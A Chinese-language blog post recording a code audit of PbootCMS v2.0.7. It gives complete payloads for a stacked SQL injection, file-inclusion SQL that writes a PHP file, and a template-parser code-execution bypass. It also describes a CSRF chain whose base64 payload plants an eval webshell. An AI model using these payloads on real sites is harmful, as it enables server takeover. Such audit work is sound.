PbootCMS审计记录_将CTF思维带入实战

PbootCMS审计记录_将CTF思维带入实战

本文记录我个人的第三次审计记录,比较有趣,就记录下来分享一下。这次审出的都是后台漏洞(前台实在没什么功能...),大佬轻喷啊!

0x01 PbootCMS

PbootCMS是全新内核且永久开源免费的PHP企业网站开发建设管理系统,是一套高效、简洁、 强悍的可免费商用的PHP CMS源码,能够满足各类企业网站开发建设的需要。系统采用简单到想哭的模板标签,只要懂HTML就可快速开发企业网站。
本次审计的版本是v2.0.7

0x02 过滤函数分析

PbootCMS新建了get()、post()、request()、cookie()函数,用于代替$_GET、$_POST、$_REQUEST、$_COOKIE,且全局都通过前者来代替后者获取数据。由于这几个函数的数据处理逻辑基本一致,所以我们直接分析下get()函数的实现代码:

代码文件:/core/function/helper.php

get():
可以看到get()初始化了$condition后将$name和$condition传入filter,其中$conditio的d_source为指定获取get参数数据。我们跟进到filter中去看一下。

function get($name, $type = null, $require = false, $vartext = null, $default = null)
{
    $condition = array(
        'd_source' => 'get',
        'd_type' => $type,
        'd_require' => $require,
        $name => $vartext,
        'd_default' => $default
    
    );
    return filter($name, $condition);
}

filter():
这里可以看到filter()根据$condition中设置的d_source获取请求参数值赋值给$data,并根据$condition设置的其他内容对$data进行数据验证,具体操作可以看下代码中注释。在函数最末尾,将验证后数据$data传入escape_string()中,继续跟进此函数。

function filter($varname, $condition)
{
    // 变量名称文本
    if (array_key_exists($varname, $condition) && $condition[$varname]) {
        $vartext = $condition[$varname];
    } else {
        $vartext = $varname;
    }
    
    // 数据源
    if (array_key_exists('d_source', $condition)) {
        switch ($condition['d_source']) {
            case 'post':
                $data = @$_POST[$varname];
                break;
            case 'get':
                $data = @$_GET[$varname];
                break;
            case 'cookie':
                $data = @$_COOKIE[$varname];
                break;
            case 'session':
                $data = session($varname);
                break;
            case 'both':
                $data = @$_POST[$varname] ?: @$_GET[$varname];
                break;
            case 'string':
                $data = $varname;
            default:
                error($vartext . '数据获取方式设置错误!');
        }
        // 去空格
        if (is_string($data))
            $data = trim($data);
    } else {
        $data = $varname; // 没有数据源指定时直接按照字符串过滤处理
    }
    
    // 数据为空时,进行是否允许空检测
    if (! $data && array_key_exists('d_none', $condition) && $condition['d_none'] === false) {
        error($vartext . '不能为空!');
    }
    
    // 判断是否强制检测,为true时,意味着如果数据不满足要求直接报错,否则返回null
    if (array_key_exists('d_require', $condition) && $condition['d_require'] == true) {
        $require = true;
    } else {
        $require = false;
    }
    
    // 数据类型检测
    if (array_key_exists('d_type', $condition)) {
        switch ($condition['d_type']) {
            case 'int':
                if (! preg_match('/^[0-9]+$/', $data)) {
                    $err = '必须为整数!';
                }
                break;
            case 'float':
                if (! is_float($data)) {
                    $err = '必须为浮点数!';
                }
                break;
            case 'num':
                if (! is_numeric($data)) {
                    $err = '必须为数字!';
                }
                break;
            case 'letter':
                if (! preg_match('/^[a-zA-Z]+$/', $data)) {
                    $err = '只能包含字母!';
                }
                break;
            case 'var':
                if (! preg_match('/^[\w\-\.]+$/', $data)) {
                    $err = '只能包含字母、数字、划线、点!';
                }
                break;
            case 'bool':
                if (! is_bool($data)) {
                    $err = '必须为布尔类型!';
                }
                break;
            case 'date':
                if (! strtotime($data)) {
                    $err = '必须为日期类型!';
                }
                break;
            case 'array':
                if (! is_array($data)) {
                    $err = '必须为数组类型!';
                }
                break;
            case 'object':
                if (! is_object($data)) {
                    $err = '必须为对象类型!';
                }
                break;
            case 'vars':
                if (! preg_match('/^[\x{4e00}-\x{9fa5}\w\-\.,\s]+$/u', $data)) {
                    $err = '只能包含中文、字母、数字、横线、点、逗号、空格!';
                }
                break;
            default:
                if ($condition['d_type'])
                    error($vartext . '数据类型设置错误!');
        }
    }
    
    // 非必须或必须但无错误时执行
    if ((! $require || ($require && ! isset($err)))) {
        
        // 正则匹配
        if (array_key_exists('d_regular', $condition)) {
            if (! preg_match($condition['d_regular'], $data)) {
                $err = '不符合正则表达式规则!';
            }
        }
        // 最大值匹配
        if (array_key_exists('d_max', $condition)) {
            if (is_numeric($data)) {
                if ($data > $condition['d_max']) {
                    $err = '不能大于' . $condition['d_max'];
                }
            } else {
                if (mb_strlen($data) > $condition['d_max']) {
                    $err = '长度不能大于' . $condition['d_max'];
                }
            }
        }
        // 最小值匹配
        if (array_key_exists('d_min', $condition)) {
            if (is_numeric($data)) {
                if ($data < $condition['d_min']) {
                    $err = '不能小于' . $condition['d_min'];
                }
            } else {
                if (mb_strlen($data) < $condition['d_min']) {
                    $err = '长度不能小于' . $condition['d_min'];
                }
            }
        }
    }
    
    // 如果为必须且有错误,则显示错误,如果非必须,但有错误,则设置数据为null
    if ($require && isset($err)) {
        error($vartext . $err);
    } elseif (isset($err)) {
        $data = null;
    }
    
    // 如果设置有默认值,默认值
    if (array_key_exists('d_default', $condition)) {
        $data = (! is_null($data)) ? $data : $condition['d_default'];
    }
    
    // 去空格
    if (is_string($data)) {
        $data = trim($data);
    }
    
    // 销毁错误
    unset($err);
    
    // 返回收据
    return escape_string($data);
}

escape_string():
escape_string()主要就是针对在filter()中验证后的数据进行转义处理。如果是数组就遍历数组中元素一一转移,如果是对象就遍历对象中的公共成员变量后转义。使用的处理函数htmlspecialchars、addslashes,可以说能直接把你的payload转的面目前非了。😫

function escape_string($string)
{
    if (! $string)
        return $string;
    if (is_array($string)) { // 数组处理
        foreach ($string as $key => $value) {
            $string[$key] = escape_string($value);
        }
    } elseif (is_object($string)) { // 对象处理
        foreach ($string as $key => $value) {
            $string->$key = escape_string($value);
        }
    } else { // 字符串处理
        $string = htmlspecialchars(trim($string), ENT_QUOTES, 'UTF-8');
        $string = addslashes($string);
    }
    return $string;
}

之后的post()、request()、cookie()都是类似的处理,这里就不赘述了。

0x03 堆叠注入

代码分析

问题函数:public function mod()
函数位置:/apps/admin/controller/system/DatabaseController.php的47-110行

mod()函数开头接收post参数submit,随后放入switch中(如下代码53-54行):

当$submit的值为bf时,进入79-90行代码,可以看到80行接收post参数list的值并赋给$tables,随后把$tables传递给$this->backupTable函数。

跟踪进入上图代码中83行的函数$this->backupTable,位于/apps/admin/controller/system/DatabaseController.php的113-128行,代码如下:
可以看到backupTable()接收$tables后开始遍历$tables,并且将遍历的元素传入$this->tableSql()中,我们继续跟进$this->tabelSql()

public function backupTable($tables)
    {
        $backdir = date('YmdHis');
        foreach ($tables as $table) {
            $sql = '';
            $sql .= $this->header(); // 备份文件头部说明
            $sql .= $this->tableSql($table); // 表结构信息
            $fields = $this->model->getFields($table); // 表字段
            $field_num = $this->model->getFieldNum($table); // 字段数量
            $all_data = $this->model->getAll($table); // 读取全部数据
            $sql .= $this->dataSql($table, $fields, $field_num, $all_data); // 生成语句
            $filename = $backdir . "/" . get_uniqid() . "_" . $backdir . "_" . $table . '.sql'; // 写入文件
            $result = $this->writeFile($filename, $sql);
        }
        return $result;
}

$this->tabelSql()位于/apps/admin/controller/system/DatabaseController.php的186-195行。可以看到这里接收$table后将$table传入$this->model->tableStru()中,我们继续跟进。

 private function tableSql($table)
    {
        $sql = '';
        $sql .= "--" . PHP_EOL;
        $sql .= "-- 表的结构 `" . $table . '`' . PHP_EOL;
        $sql .= "--" . PHP_EOL . PHP_EOL;
        
        $sql .= $this->model->tableStru($table); // 表创建语句
        return $sql;
}

$this->model->tableStru()位于/apps/admin/controller/system/DatabaseModel.php的64-69行。
tableStru()接收到$table后直接拼接语句并执行。

    public function tableStru($table)
    {
        $sql = "DROP TABLE IF EXISTS `" . $table . '`;' . PHP_EOL;
        $result = parent::one('SHOW CREATE TABLE `' . $table . '`', MYSQLI_ASSOC);
        return $sql . $result['Create Table'] . ';' . PHP_EOL . PHP_EOL;
}

通过阅读parent::one()中也没有任何过滤就执行语句。
parent::one()位于/pbootcms/core/database/Pdo.php的180-193行。

    public function one($sql, $type = null)
    {
        $result = $this->query($sql, 'slave');
        $row = array();
        if ($type) {
            $type ++; // 与mysqli统一返回类型设置
            $row = $result->fetch($type);
        } else {
            $row = $result->fetchObject();
        }
        return $row;
    }

总结:这里我们只需要使用 `;(反单引号和分号) 闭合tableStru()中的SHOW CREATE TABLE `就可以构造任意SQL语句了,典型的堆叠注入。但是一般情况下使用query是不支持多语句执行的,需要把数据库连接驱动设置为pdo_mysql,这个在/config/database.php中可以设置。这也导致此注入变得更加鸡肋了一点。

复现

首先确保数据库驱动类型为pdo_mysql
登录后台,进入系统管理-》数据库管理:

burp开启抓包,勾选一个表后选择“备份表”,拦截此数据包转发到repeater模块:

将数据包的list参数修改成下图的样子后发送,可以看到响应包等待大约5秒后返回:
payload:ay_user`;select if((ascii(substr(database(),1,1)))=112,sleep(5),0)#

0x04 基于文件包含的SQL注入

其实这个漏洞名称是随便起的,师傅们觉得不妥请忽略哈~

代码分析

问题函数:public function update()
函数位置:/apps/admin/controller/system/UpgradeController.php的140-228行

漏洞产生的关键位置位于181-204行,当$sqls变量已被设置且不为NULL进入if内。第193行拼接路径后赋值给$path,194行判断$path文件存在时读取$path文件内容,并将文件内容放入$this->upsql()中。

跟进到$this->upsql(),位于/apps/admin/controller/system/UpgradeController.php第251-262行。可以看到upsql()接收$sql参数后,以分号为分隔符转换为数组,并遍历每个元素,传给$model->amd()。

跟进到$model->amd(),位于/core/database/目录下的Pdo.php或Mysqli.php或Sqlite.php中,具体执行哪个文件是根据个人在database.php配置文件中设置的数据库驱动而决定。但是可以确定的是,三个文件中的amd()代码都是一致的。直接执行接收过来的$sql,并未做任何过滤。

总结漏洞触发条件:

  1. $sqls变量已被设置且不为NULL
  2. $path参数可控

回到update()最开始的位置,143行通过post()接收post参数list的值赋值给$list。144行将$list转换为数组,148行开始遍历,遍历元素变量名称为$value。150行对$value进行过滤,不允许存在../,这里可以通过复写两次绕过(..././)。152行判断$value存在/script/时,将$value赋值给$sqls[]。

总结如上分析结果:

  1. 传入的list只要存在/script/就可以进入后面181行的if (isset($sqls))。
  2. $path来自$value,$value来自$list,$list来自post(list),所以$path可控。且150行的正则过滤可绕过,可构造指定任意文件。

复现

登录后台,进入系统管理=》服务器信息=》站点目录 获取网站绝对路径:

本地新建文本文件,命名为1.jpg,文件内容如下:(general_log_file路径根据实际情况修改)

set global general_log = on;
set global general_log_file='E:/soft/phpstudy_pro/WWW/cms/1.php';
select '<?php phpinfo();?>';  

进入基础内容=》站点信息=》上传图片,将1.jpg上传,并保留上传后路径

构造如下数据包并发送,将下面数据包post参数值的/static/...替换为上传1.jpg的路径:(注意修改cookie为已登录后台的cookie)

POST /admin.php?p=/Upgrade/update HTTP/1.1
Host: cms.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
Cookie: lg=cn; PbootSystem=0rnlmrc67mke1udvdeo87ecopk
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

list=/script/..././..././..././static/upload/image/20200407/1586196649559090.jpg

访问生成的1.php

拓展利用-任意文件读取

这个是之后萌生的想法,既然能包含sql文件执行,那包含其他文件的话会怎么样呢?通过实操,就有了下面这个操作:
构造包含配置文件的请求,在burp中发包测试,可以看到数据库报语法错误的同时将文件内容显示出来。

0x05 模板解析过滤不严谨导致任意代码执行

代码分析

问题函数:parserIfLabel()
函数位置:/apps/home/controller/ParserController.php的2522-2596行

首先看parserIfLabel()接收$content参数后,在2526行进行了正则匹配,要求的格式大概为这样的:{pboot:if(do something)}{/pboot:if},匹配结果放入$matches。匹配完成后遍历匹配到的所有元素(2528行)。

然后定义了函数白名单$white_fun:

接着2541行将$matches[1][$i]传入$this->restorePreLabel()进行处理,这里的处理与我们漏洞利用无太多关系,就不细讲了。

之后的2544行将$matches[1][$i]传入decode_string()进行处理,跟进decode_string的代码,可以看到通过使用stripcslashes、htmlspecialchars_decode对已转义字符串进行还原处理。(所以之后我们传入的数据被两个函数转义也不无所谓了)

在之后的2547-2554行、2557-2559行对$matches[1][$i]的内容进行了检测和过滤。

我们先来看第一个对函数的检测,2547行的if语句判断只要内容存在类似于xxx()的则进入判断(2549行),内容如果满足经过function_exists()检测为函数或者内容中出现eval且内容中不包含$white_fun中的任何一个元素则判断为有危险内容,在2562-2564行会跳过此标签的解析。

第二个检测在2557-2559行,对$matches[1][$i]中存在的一些字符串进行过滤,以下为整理后的列表:

$_GET
$_POST
$_REQUEST
$_COOKIE
$_SESSION
file_put_contents
fwrite
phpinfo
base64_decode
`
shell_exec
eval
system
exec
passthru

最后,当$matches[1][$i]通过了前面全部的检测后拼接字符串,放入eval中执行(2566行)。

绕过检测1
这里我们先来绕过第一个限制(2547-2554行),核心思路是绕过正则匹配/([\w]+)([\\\s]+)?\(/i,这样就不需要关心里面的限制了。通过测试,可以使用print_r/**/()的形式调用函数,来绕过这个正则匹配。

测试代码:

<?php
$content = $_GET['c'];

// 带有函数的条件语句进行安全校验
if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $content, $matches2)) {
    foreach ($matches2[1] as $value) {
        if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {
            $danger = true;
            break;
        }
    }
}else{
    eval($content);
}
highlight_file(__FILE__);

测试payload:
http://test.cn/bypass.php?c=print_r/**/(11111111111111111);

测试结果:成功执行了print_r(11111111111111111);

绕过检测2:
这里使用了黑名单过滤,我们只要找到黑名单外的且可利用的函数即可。这里他过滤了eval(),但是还可以用assert()来执行代码。然后通过file_get_contents()接收data://数据流中进行base64编码后的内容作为assert()的参数值即可实现任意代码执行。示例:assert/**/(file_get_contents/**/("data://text/plain;base64,cGhwaW5mbygpOw=="));

测试代码:

<?php
$content = $_GET['c'];

// 带有函数的条件语句进行安全校验
if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $content, $matches2)) {
    foreach ($matches2[1] as $value) {
        if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {
            $danger = true;
            break;
        }
    }
}

// 过滤特殊字符串
if (preg_match('/($_GET\[)|($_POST\[)|($_REQUEST\[)|($_COOKIE\[)|($_SESSION\[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)/i', $content)) {
    $danger = true;
}else{
    eval($content);
}
highlight_file(__FILE__);

测试payload:
http://test.cn/bypass.php?c=assert/**/(file_get_contents/**/(%22data://text/plain;base64,cHJpbnRfcihtZDUoMSkpOw==%22));

测试结果如下:

找到了漏洞点,接着需要找能够触发漏洞的地方。
通过搜索,最后发现前台的“在线留言”处可触发此漏洞。
访问前台的留言页面的调用链如下,最终将留言内容传入parserIfLabel():http://cms.cn/?gbook/

总结一下利用流程:

  1. 前台留言处插入payload提交
  2. 后台将留言信息加入前台显示(留言内容需要管理员在后台设置允许前台显示)
  3. 访问前台留言页面,即可触发漏洞

接着需要看下提交留言是否有限制。
接收并存储留言内容的函数是:/apps/home/controller/MessageController.php的index()
可以看到61行处过滤了pboot:if,这里直接通过复写两次绕过。例如:pbopboot:ifot:if

通过阅读,当留言信息到最后调用insert()插入数据库的时候也做了过滤
位置:/core/basic/Model.php的insert()
第1254行对执行的sql语句进行过滤,这里同样可以通过复写绕过,因为前面也有过滤,所以我们一共要复写三次。例如:pbopbopboot:ifot:ifot:if

通过阅读上面的一系列代码,最终构造payload如下:
{pbopbopboot:ifot:ifot:if(1);assert/**/(file_get_contents/**/("data://text/plain;base64,cGhwaW5mbygpOw=="));exit();//[list:istop]==1)}{/pbopbopboot:ifot:ifot:if}

复现

访问前台留言页面:http://example.com/?gbook
将payload插入“内容”中,其他输入框内容随意。然后提交留言。

登录后台,进入:扩展内容-》留言信息
找到刚刚提交的留言,选择前端显示(如下图箭头指向的位置)

之后重写刷新前台的留言页面:http://example.com/?gbook
可以看到代码已执行:

拓展利用—CSRF“军体拳”

由于后台将留言显示到前台的接口存在CSRF,配合CSRF可实现不登录后台直接GetShell。

在vps上搭建php环境,将如下代码保存至网站跟目录下。(域名需要自行修改)

<?php
// 简单粗暴
for($i=0; $i<100; $i++){
    echo '<img src="http://cms.cn:80/admin.php?p=/Message/mod/id/' . $i . '/field/status/value/1" width="0" height="0" border="0"/>';
}

将如下payload插入留言板并提交(第一个红色框内链接为搭建好放有csrf payload的php页面)
{pbopbopboot:ifot:ifot:if(1);assert/**/(file_get_contents/**/("data://text/plain;base64,ZmlsZV9wdXRfY29udGVudHMoJ3NoZWxsLnBocCcsJzw/cGhwIEBldmFsKCRfUE9TVFtwd2RdKT8+Jyk7"));exit();//[list:istop]==1)}{/pbopbopboot:ifot:ifot:if}

我们假设自己是**管理员(只针对自己)查看留言,并打开链接

访问完成

从后台中查看,可以看到存有代码执行payload的留言已经允许前端显示了

攻击者重新访问前台留言页面

此时会在网站跟目录生成shell.php,用蚁剑连接测试

师傅们也别想着我为啥不找找xss来配合csrf了,我实在是找不到😭

0x06 总结

深度水文没什么可总结,希望自己与各位初学者们都能放下浮躁、细心读码、认真思考。

posted @ 2020-10-20 22:14  Gcker  阅读(447)  评论(0编辑  收藏  举报